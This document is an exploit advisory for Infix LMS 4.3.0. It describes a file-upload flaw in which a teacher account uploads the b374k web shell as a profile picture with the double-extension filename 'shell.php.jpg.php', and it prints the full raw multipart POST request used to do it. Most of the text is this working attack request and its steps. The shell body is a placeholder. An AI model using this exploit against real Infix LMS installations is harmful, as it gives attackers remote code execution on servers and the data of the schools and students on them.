Infix LMS 4.3.0 Shell Upload

# Exploit Title: Infix LMS - Learning Management System Shell Upload# Exploit Author: th3d1gger# Vendor Homepage: https://codecanyon.net# Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608# Version: 4.3.0# Tested on Ubuntu 18.04sign up as teachergo profile page and try to upload profile picwith bypass name restriction on post request with burp or etc, upload b374k with burp or else -------Request-----------POST /profile-update HTTP/1.1Host: localhostContent-Length: 102201Cache-Control: max-age=0sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzjX6L4V6hVC4KIECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/profile-settingsAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijhpc05lZDlpcElOM1ZJZ0sxZDBXSUE9PSIsInZhbHVlIjoiVXRsZGNUNVlGWXY5RVpxTDVPK08wQW5TK05RMmUvRUVYKzQ0L0R0cHpyZmhmUFFHVm04ZWo2UVVUYkNuYm15c3RrcUlzQnJySnBWUHdHOGF6NkVneUNibDZxbEc1MytrWVRzVDVhaDNOYjN1ZGI1aHFEd3B2VXgrczZrUjEzR2QiLCJtYWMiOiJkNTZmNTU3YzU0NzJlNzJhMWIwMWNmMDhjMjI2ZTEzZjgwMDY0Mzk1ZjRiMWNhZjczZjhmNTQyN2NiNWZhMTdjIiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6InBSSllCaHF1UFlLS0dpT3RYaHRkRkE9PSIsInZhbHVlIjoiYlI3ak1obGtEa1hiV1hhOEF4V2Y1RjVTQmJHVjdvRmUrRmM0aE4wcElycHRCWnNVeG5LSVJBb3A1SDBXaU9mUzZTZ2EvSDZTZ00vRmZUbXZXZ2UzK3BsMlRJVDlJSThpRGc0SEEvZmh5cmtHSkhDWGNTOCtEcFdkaGEwdjhpOHAiLCJtYWMiOiI0NjJhMTRjNjIyMWQyM2MxZDliOGIzYjNmZmQ5YjA1YWVmYjUzZjhjMmI2MjAwNTFiZGNlN2RiMmUyMzhlZDFhIiwidGFnIjoiIn0%3DConnection: close------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="_token"0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="name"Teacher------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="email"teacher@infixedu.com------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="phone"01711223345------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="country"19------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="city"1374------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="zip"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="currency"112------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="language"19------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="facebook"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="twitter"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="linkedin"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="instagram"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="short_details"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="about"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="image"; filename="shell.php.jpg.php"Content-Type: image------b374kshell content-----------WebKitFormBoundaryzjX6L4V6hVC4KIEC--